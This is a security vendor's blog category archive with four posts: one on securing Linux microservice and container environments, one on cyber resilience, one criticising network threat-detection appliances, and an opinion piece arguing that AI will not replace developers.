Archive for the ‘Next Generation Security’ Category

Microservices and Modern Production Environments Are the Achilles’ Heel of SecOps

Posted by

Microservices and the increasing popularity of service-based architecture have catapulted Linux from the coder’s tinker toy of yesterday to the most popular platform on the planet today. It’s no wonder that modern Linux is fast becoming the defacto operating system of production environments and powering the “software is eating the world” phenomenon. It’s simple and open for easy integration and has become extremely stable in its modern state. Perhaps most importantly, open source enables the quick and easy deployment of multiple platforms across multiple clouds to serve multiple business channels. In fact, users can go from a mobile device to the cloud without ever touching any physical infrastructure within their own environment.

Meanwhile, container technology is further accelerating this drive, as DevOps push their standard data formats to the cloud. Container technology enables instant scalability and improves collaboration between development and operations teams. This next generation platform approach enables developers to build, host, store and deploy applications or websites on a highly scalable production infrastructure for web, mobile and backend solutions. Of course, this makes securing the production environment more critical than ever.

The New Cyber Security Gotcha

But as with most good things, there’s a catch. While the simple plug-and-play nature of next-generation infrastructure and modern production environments ensures that no one is left behind in the age of microservices, security in this brave new world just might be the fly in the ointment. This modular approach to delivery and infrastructure, which spans multiple clouds across various modern production environments, brings with it borderless networks as well as a different set of risks and vulnerabilities than those associated with more traditional approaches.

Current Solutions Fail in Modern Production Environments

The overarching problem is that too many cyber practitioners are applying five-year-old security models to this newly evolving and transformative technology. There are three main reasons existing tools are inadequate in modern settings:

  • Traditional security relies on using a unique IP address as a stable and unique identifier for each asset it’s charged with protecting. But, many short-lived containers share a single IP address, so the appliance can’t identify assets.
  • Traffic between containers on the same host never touches the network, thereby removing a vital source of detection data.
  • End-to-end encryption is becoming more prevalent and soon (with TLS 1.3) today’s appliances won’t be able to intercept encrypted out-of-band traffic.

Further, in the world of Windows, the easiest way for a hacker to persist is by leaving behind malicious executables, which is where most Windows security focuses. In the Linux world, executables are far less portable with vastly less predictable runtime environments. Such executables generally get compiled on each system on which they run. In Linux, there are so many small useful and universal tools that a hacker doesn’t need to leave much behind – often just shell scripts. So, the old approach of detecting bad executables no longer suffices.

Million-dollar Questions

The current technological shift toward modern production environments and cloud-based infrastructure brings unprecedented opportunity, but also raises new questions that every organization must answer about their current and future security practices. For example, where does an appliance fit in? Do we really want a heavyweight virtual appliance that might cause new bottlenecks? How much more would it cost to split off traffic for an out-of-band appliance in the cloud? And if appliances provide less visibility, does that mean more clean-up costs?

A New Approach Is Critical

Capsule8 is developing the first threat prevention and response platform that’s purpose-built for cloud-native infrastructures. Our approach is to protect an organization’s assets across networks, systems, containers, bare metal, and clouds by addressing the diverse and complex nature of modern next-gen platform architecture and mircoservices. We believe the best approach is to look beyond traditional detection methods and instead focus on activity. By detecting the effect of an intrusion, security operations teams will be freed of the burden of monitoring for signatures or intrusions themselves and instead be able to focus on detecting and shutting down attacks in the instant they happen.

This pathway will provide real-time, container-aware visibility, and prevention across clusters. By focusing on the impact, Capsule8 will also provide automated attack resilience via real-time forensics and recovery, so that any piece of code that comes under attack in a stateless workload can be instantly frozen and replaced. With an API-first approach, Capsule8 is developing a single distributed engine for all rules and analysis that is open, flexible, extensible, and extremely simple to integrate.

Empowering the Digital Transformation

While these features are impressive and critical to navigating the modern Linux production environment in a safe manner, they would be of little use without automation. Capsule8 is working to enable “self-driving defense.” Just like self-driving cars manage the boring parts of driving, while you relax, Capsule8’s solution will elastically scale to your environment and team – just like containers – while eliminating alert fatigue and managing the easy parts of the drive on its own. This will enable security analysts to focus on the unknown twisty mountain roads rather than trance-inducing stretches of well-travelled highway.

Until now, such production security has been a pipedream – only available to major players like Facebook and Google, who have the resources to build their own security into their own production environments and deploy it as they see fit. Capsule8 will bring a level-playing field to bear by offering full production environment security to any organization looking to modernize.

What is Resiliency and How Can We Apply It to All Phases of Attack? Part 1 of 3

Posted by

Part 1: What is Resiliency and How Can We Apply to All Phases of Attack?

Part 2: Using Misinformation and Intentional Failures to Your Advantage

Part 3: Cattle, Not Pets, Leveraging CI/CD Practices and the Concept of Reverse Uptime

The inevitability of your organization being breached is well established. Vulnerabilities are intrinsic to any software just as human fallibility assures us that users are only one bad decision or one click away from a malicious link or lost credentials in the face of phishing campaigns. The reality of this brave new world is unlikely to change no matter how many security alert dialogs you may put in place to prevent such maliciousness or carelessness.

Meanwhile, bad actors will continue to code beyond our world of known signatures with zero day threats that are already replete in our frameworks, libraries, operating systems and firmware. We solved WiFi, then WPS happened. We sandboxed and hardened the Javascript engines in browsers only to find new exploitable Javascript engines in remotely accessible network services. Every time we solve one problem, it seems we create another with an expanded attack surface, as the borders and boundaries of our networks, software and even hardware continue to erode.

But, while most organizations have come to accept the inevitability of an attack, resignation is never an option. The only sensible response beyond the latest and greatest security precautions is resiliency. When it comes to cybersecurity, resiliency represents the capability to respond and recover from attack, while also maintaining a state that is resistant to permanent damage. Resiliency must be thought of not only in terms of the ability to rebuild, but also in terms of playing defense in such a way as to ensure that a successful attack yields little to no value for the attacker in comparison to the resources expended to launch the attack.

While we typically think in terms of raising the cost of the attack, organizations don’t think often enough about lowering the value of the outcome from the attacker’s perspective. This not only disincentivizes the attacker, but also lowers the cost to the defender such that the loss is not irrecoverable – a conceptual strategy that is vital to the survival of any business in our hyper-connected digital age. In this way, resilience must be applied to all elements of attack. Your organization must be resilient to reconnaissance, resilient to exploitation and resilient to persistence.

Perhaps an extreme example is Microsoft’s EMET, the anti-exploitation technology that grants asymmetry to the user by raising the cost of exploit development time to the attack. Most of EMET’s functionality is now baked-in for recent Windows 10 builds, but until recently EMET adoption was sparse. The downfall for many was the difficulty in managing EMET deployments, and its perceived instability.

A far more common and accepted form of defensive resilience is multifactor authentication. This relatively simple practice protects credentials from compromise. For example, when logging in or attempting to perform sensitive account actions, your bank can now send you a text with a unique one-time-password required to complete the requested task. As a result, an attacker must somehow gain access to this one-time-password despite the attacker’s previously successful phishing attack, which gained the original password. This stinks of effort for the attacker, and instantly devalues the result from their previous attack to compromise the password. The tiny cost of a momentary delay in user experience raises the cost for the attack by orders of magnitude, making the service resilient to the compromise of passwords.

There are countless ways that the spirit of this mechanism can be applied to other attack scenarios. In my next post, I’ll explore ways this concept can be extended more deeply into the world of infrastructure and how misinformation, automation and other technical advances are broadening the concept of operational resilience.

Read as one article: A Short Guide to Cyber Resilience

Threat Protection Appliances Are as Valuable to Security as Your Toaster

Posted by

Nothing in the IT security community is as widely deployed and universally reviled as Anti-Virus. But, threat detection appliances, including intrusion prevention appliances, application firewalls and advanced threat protection appliances should be almost as reviled. These appliances are nearly as useless as they are toxic. They do a horrible job finding problems and ultimately create more costs for security organizations than they save by crippling organizations with false alerts.

Protection is Impractical

In terms of security, detection appliances have never been effective, since the network makes a lousy location for any kind of security hub from the outset. Few network protection devices can even prevent attacks, much less respond to them – and most appliances are simply used for detection – even those with rudimentary prevention capabilities. In theory, an Intrusion Prevention device can drop a connection before letting the bad stuff through, but, in practice, that seldom happens.

In most enterprises, security detection appliances are sitting off to the side, only capable of looking at a copy of network traffic as opposed to the actual network traffic itself. Organizations choose this less-than-ideal setup to avoid the inevitable network latency issues, which otherwise occur when a single point of failure such as an appliance gets flooded or has a bug, for example.

That’s not to say that a network appliance can’t respond to an attack in progress in any way. If an appliance determines that a particular network connection is malicious, and there is complete confidence in the appliance’s judgement, then an organization can have the device signal something that is in-line, such as a router or firewall. That device can then take action by killing the connection or blacklisting the offending IP address.

The problem with that scenario is that there often isn’t enough context at the network layer. If a network appliance tries to make fast decisions, it’s going to produce an extraordinarily high number of false positives, making its judgement suspect.  Whenever there’s any doubt about an appliance’s judgement, it shouldn’t be trusted to make decisions whether to take action. Action in such circumstances could affect legitimate connections, which could have catastrophic consequences for the entire business.

Appliances: What’s Really Happening

While old-school devices (e.g., traditional Intrusion Prevention Devices) sacrificed accuracy for speed, today’s more sophisticated appliances do a better job of processing available data, so which gives vastly superior results with far fewer false positives.

The typical “next gen” security detection appliance (such as an “advanced threat detection” appliance) tries to give as good an answer as possible about whether the connection represents an attack by simulating the end destination of the traffic to predict whether anything malicious will happen. This is done by running a copy of the traffic into a specialized virtual machine, and then monitoring the simulated outcome. If something malicious is found at the destination in the virtual machine, then there’s reasonably high confidence that the connection represents an attack. The goal of this approach is to limit false positives to the point where the organization can respond to every event. Some organization may even be willing to automate that response, by killing the connection if a suspected attack is detected in time, for example.

While this class of a device tends to reduce noise, it doesn’t eliminate “false negatives,” which allow attacks to sail through without being noticed. In fact, some believe they make the false negatives problem of appliances even worse.

If an attack works against an actual end user, yet not in the virtual environment, it could easily be overlooked by an appliance. Imagine a company buys an appliance and configures it to test network traffic by sending it to a virtual machine running Windows 10, but the traffic being tested only runs its proper course if running on Windows 9. In that case, if the network traffic’s destination is a user’s desktop that is running Windows 9, the attack can easily be successful, since the appliance won’t find the problem (because it’s running Windows 10).

This class of problem was first discovered for Network Intrusion Prevention by Ptacek and Newsham in 1998. While “next gen” technologies are capable of more accurately modeling the systems they’re trying to protect, this problem will never go away when protecting from the network. Even when companies attempt to force all systems onto a single “gold” image, exceptions tend to quickly come out of the woodwork. For example, users within development and technical organizations may often find themselves in need of software that isn’t on the gold image, or they may need to run older software for testing purposes. Also, the gold image approach tends to only work for desktops.

Making things worse, the “black hat” community can get their hands on the same appliances, and reverse engineer the virtualization technology and detection techniques it uses. Then, they figure out how to detect whether they’re running on such a device. Once they’ve done that, their real-life attacks will go unnoticed on the appliance, while still reaching the intended target.

In the “advanced threat detection” appliance space, this problem is prevalent. A dirty secret in the appliance sector is that the majority of detections from these devices are discovered on machines that have already been infected, which are then beaconing out to external command-and-control infrastructure. If instead, these appliances had detected the actual inbound threat, the attack might have been prevented.

Alert Fatigue: Poor Detection Quality

Drowning in alerts is perhaps the single biggest problem IT Security organizations face.  Even after all the raw data coming from around the network goes through a best-of-breed correlation and analysis engine, there is still an overflowing sea of information. These besieged engines generate so many alerts that organizations can’t possibly and cost effectively provide proper review for every priority alert they would like to investigate.  As it turns out, the vast majority of alerts are likely to be false positives anyway. Even the best talent can often and easily miss real incidents when pouring through so much superfluous data.

Imagine the proverbial needle in the haystack, but multiply the number of haystacks so that the entire state of Kansas is covered in hay. Now you can begin imagine the scope of the problem. Sure, you might find an occasional needle or two – especially with some ingenuity. But, there’s virtually no chance that you could tractably look for them all even if you wanted to. That aside, your vigilance is likely to wane for at least a haystack or two, which is all it takes for one devastating needle to puncture your organization.

Security appliances are – particularly more traditional devices – represent the single biggest contributor to alert fatigue by far.  When you’re limiting your investigation to network traffic and trying to get work done as quickly as possible, you don’t have enough context to make good decisions. So, if you want to err on the side of caution, keep in mind that appliances will give you plenty of reason for caution, while uncovering few actual problems.

If we are serious about eliminating the problem over alert-fatigue, we must move beyond appliances and begin managing all of our detection at the machine-level. On a machine we can see what’s happening on the file system, what’s happening in memory, what’s happening in the OS, and even what’s happening in the application (for common applications). That’s far more telemetric data to isolate signals and ignore noise (assuming we use all that data wisely).

Many of the “next-gen” approaches live in a poor middle ground; they try to simulate the machine, but generally can’t afford to create an accurate or effective simulation. If an organization is trying to protect a thousand servers, how many appliances would be needed to thoroughly simulate every inch of network and each bit of traffic that crosses? The answer is about a thousand appliances, which is far too cost prohibitive. Most organizations prefer one appliance to protect hundreds or even thousands of machines, which is clearly insufficient.

The Future: Will Be Worse

The standards community is finally embracing the less is more philosophy as it prepares to launch TLS 1.3. This new protocol will ensure there aren’t straightforward back doors to subvert end-to-end encryption. Right now, most security appliances rely on those back doors as a means to provide detection (they need to be able to see the decrypted traffic). The new standard is going to require IT organizations have man-in-the-middle for every hop if they want their security appliances to work. That will add massive latency and expense, so most people won’t do it, and appliances will become even less reliable as a result.

Additionally, the rise of containerization and micro-services will exacerbate the situation further, since putting container-to-container traffic on the same machine is well beyond the reach of any appliance.

Security appliances may seem better than anti-virus, because they occasionally provide some value and don’t add as much attack surface. On the other hand, Anti-Virus software doesn’t drown organizations in an ocean of spurious reports. Besides, at least AV now has credible alternatives, unlike an appliance. Security appliances are not worth the silicon they’re printed on and should be cursed in the same breath as Anti-Virus.

AI Won’t Replace Developers

Posted by

Last week, a Slashdot article suggested that eventually AI might replace a developer jobs (discussing Microsoft’s DeepCoder). I doubt it.

AI techniques will eventually be able to automate some kinds of programming tasks that allow developers to abstract away and do more with their time. But I can’t imagine an AI replacing human developers.

Let’s imagine for a second that an AI does get to be as good as humans at coding — you give them an written language spec, and they churn out code that’s as good as any other person.

First, anyone who’s ever tried to communicate via an english specification to developers knows that it can be incredibly hard to get exactly what you want. English specs tend to be fairly ambiguous, and require a lot of elaboration. To ever hope to get the right answer, a machine is going to require lots of feedback, or else an incredibly detailed specification.
Either way, that sounds like programming! It’s turtles all the way down.

If this AI eventually developers into a practical tool, it might change the level of abstraction for programming. We might write in plain english, and be able to elide a lot more, but we still will need to do an awful lot of work to get computers to do what we want them to do.

And right now, AI algorithms often make computers faster at tasks than humans, and therefore can do things like decision-making at scale better than a person. But rarely are they more accurate. For instance, the very next Slashdot story discussed Google’s Perspective, which uses AI algorithms to identify hate speech. It doesn’t work very well.

Of course, if AI does eventually help better automate the typical developer, it IS possible that the effect might be a reduction in the number of developer jobs. But, keep in mind that we’ve been making huge improvements in development automation since Grace Hopper built the first assembler. Every new layer of abstraction and automation to date has opened us up to be able to solve new, more complex problems to create more and more value for people.

There will always be plenty of jobs in telling computers what to do.